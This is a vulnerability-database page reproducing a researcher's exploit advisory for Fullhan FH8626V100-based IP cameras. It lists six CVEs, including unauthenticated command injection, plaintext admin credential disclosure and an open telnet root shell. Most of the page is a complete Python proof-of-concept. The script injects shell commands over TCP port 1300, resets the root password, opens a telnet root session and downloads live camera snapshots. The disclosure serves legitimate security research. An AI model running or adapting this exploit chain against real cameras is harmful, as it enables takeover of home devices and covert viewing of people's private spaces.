Lucene search
+L

Fullhan FH8626V100 Command Injection / Secret Disclosure

🗓️ 03 Sep 2026 00:00:00Reported by Amir AliuType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 12 Views

Fullhan FH8626V100 IP camera unauthenticated command injection and plaintext secret disclosure.

Related
Code
ReporterTitlePublishedViews
Family
exploitdb
Exploit DB
Fullhan FH8626V100 - Multiple Vulnerabilities
2 Sep 202600:00
exploitdb
kitploit
Kitploit
ip-camera-research
4 Sep 202611:57
kitploit
# Exploit Title: Fullhan FH8626V100 - Multiple Vulnerabilities 
    # Date: 31-03-2026
    # Exploit Author: Amir Aliu
    # Vendor Homepage: https://www.fullhan.com/
    # Software Link: N/A - OEM/whitelabel IP camera module, rebranded under numerous vendor/brand names
    # Version: Firmware v201222.1007 (Device Model AJL30PG0803)
    # Tested on: FH8626V100 SoC (Fullhan FH86xx family), AJL30PG0803 device, BusyBox v1.19.3, embedded Linux (ARM)
    # CVE: CVE-2026-51402, CVE-2026-51403, CVE-2026-51404, CVE-2026-51405, CVE-2026-51406, CVE-2026-51407
    # Blog: https://amiraliu.vercel.app/blog/breaking-into-my-own-camera
    # Source: https://github.com/amiraliuks/ip-camera-research
    
    # Summary
    
    A range of rebranded IP cameras built on the Fullhan FH8626V100 SoC and shipped with the "CareCam Pro" app expose a chain of vulnerabilities that lead to full device compromise.
    
    - CVE-2026-51402: TCP/1300 accepts <SYSTEM>...</SYSTEM>-wrapped shell commands with no authentication (blind OS command injection, CWE-78).
    - CVE-2026-51403: The PSIA HTTP API (/PSIA/*) allows unauthenticated read/write access to device and network configuration (CWE-306/CWE-284).
    - CVE-2026-51404: An unauthenticated JPEG snapshot is served on TCP/6688 (CWE-200).
    - CVE-2026-51405: BusyBox telnetd is enabled by default via inetd, exposing a root shell to anyone holding valid credentials (CWE-287).
    - CVE-2026-51406: /PSIA/Security/AAA/users discloses the admin username and password in plaintext with no authentication (CWE-522).
    - CVE-2026-51407: Once shell access is obtained, /app/userdata/ifcfg.wlan0 stores the configured Wi-Fi SSID/password in plaintext (CWE-319).
    
    # Exploitation Chain
    
    The command injection (CVE-2026-51402) is used to reset the root password, which is then used to authenticate to the always-on Telnet service (CVE-2026-51405), yielding a full root shell with no valid credentials required at any point.
    
    # Proof of Concept (PoC) [Full Chain]
    
    import socket
    import requests
    import sys
    import os
     
    TARGET = None
    NEW_PASSWORD = "root"
     
    # Helpers
    def send_system(cmd, port):
        """Send <SYSTEM> command to target"""
        payload = f"<SYSTEM>{cmd}</SYSTEM>"
        try:
            with socket.socket() as s:
                s.settimeout(3)
                s.connect((TARGET, port))
                s.send(payload.encode())
                data = s.recv(1024).decode()
                return data
        except Exception:
            return None
     
    def check_port(port):
        """Simple TCP check"""
        try:
            with socket.socket() as s:
                s.settimeout(2)
                s.connect((TARGET, port))
                return True
        except:
            return False
     
    # Checks
    def check_rce(port):
        print(f"[.] Checking RCE on port {port}...")
        res = send_system("ls", port)
     
        if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
            print(f"[+] RCE available on port {port}")
            return True
        else:
            print(f"[-] Port {port} not vulnerable")
            return False
     
    def check_telnet():
        print("[.] Checking telnet (port 23)...")
        if check_port(23):
            print("[+] Telnet is open")
            return True
        else:
            print("[-] Telnet is closed")
            return False
     
    def get_snapshot(save=False):
        print("[.] Fetching snapshot...")
        try:
            r = requests.get(f"http://{TARGET}:6688/snapshot.jpg", timeout=5)
     
            if r.status_code == 200:
                if save:
                    with open("snapshot.jpg", "wb") as f:
                        f.write(r.content)
                    print("[+] snapshot.jpg saved")
     
                return r.content
            else:
                print("[-] Failed to get snapshot")
                return None
     
        except Exception:
            print("[-] Request failed")
            return None
     
    def show_snapshot():
        data = get_snapshot(save=False)
     
        if not data:
            return
     
        tmp_file = "/tmp/snapshot.jpg"
        with open(tmp_file, "wb") as f:
            f.write(data)
     
        print("[+] Opening snapshot...")
        os.system(f"xdg-open {tmp_file}")
     
    # Exploit
    def reset_root_password():
        print("[+] Changing root password...")
        res = send_system(f'echo "root:{NEW_PASSWORD}" | chpasswd', 1300)
     
        print(f"[+] Response: {res}")
     
        if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
            print(f"[+] Login -> user: root | pass: {NEW_PASSWORD}")
            return True
        return False
     
    def open_telnet():
        print("[.] Opening telnet session...")
        os.system(f"telnet {TARGET}")
     
    # Main
    def usage():
        print("Usage:")
        print("  python exploit.py check <IP> [new_password]")
        print("  python exploit.py snapshot <IP>")
     
    if __name__ == "__main__":
     
        if len(sys.argv) < 2:
            usage()
            sys.exit(1)
     
        mode = sys.argv[1]
     
        if mode == "check":
            if len(sys.argv) < 3:
                usage()
                sys.exit(1)
     
            TARGET = sys.argv[2]
     
            if len(sys.argv) >= 4:
                NEW_PASSWORD = sys.argv[3]
     
            rce_1300 = check_rce(1300)
            rce_843 = check_rce(843)
            telnet = check_telnet()
     
            # snapshot behavior like original script
            snapshot = get_snapshot(save=True)
     
            if snapshot:
                choice = input("[?] View snapshot? (y/n): ").strip().lower()
                if choice == "y":
                    os.system("xdg-open snapshot.jpg")
     
                choice = input("[?] Keep snapshot file? (y/n): ").strip().lower()
                if choice != "y":
                    os.remove("snapshot.jpg")
     
            # Optional shell
            if rce_1300 and telnet:
                choice = input("[?] Get shell? (y/n): ").strip().lower()
     
                if choice == "y":
                    if reset_root_password():
                        open_telnet()
     
        elif mode == "snapshot":
            if len(sys.argv) < 3:
                usage()
                sys.exit(1)
     
            TARGET = sys.argv[2]
            show_snapshot()
     
        else:
            usage()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation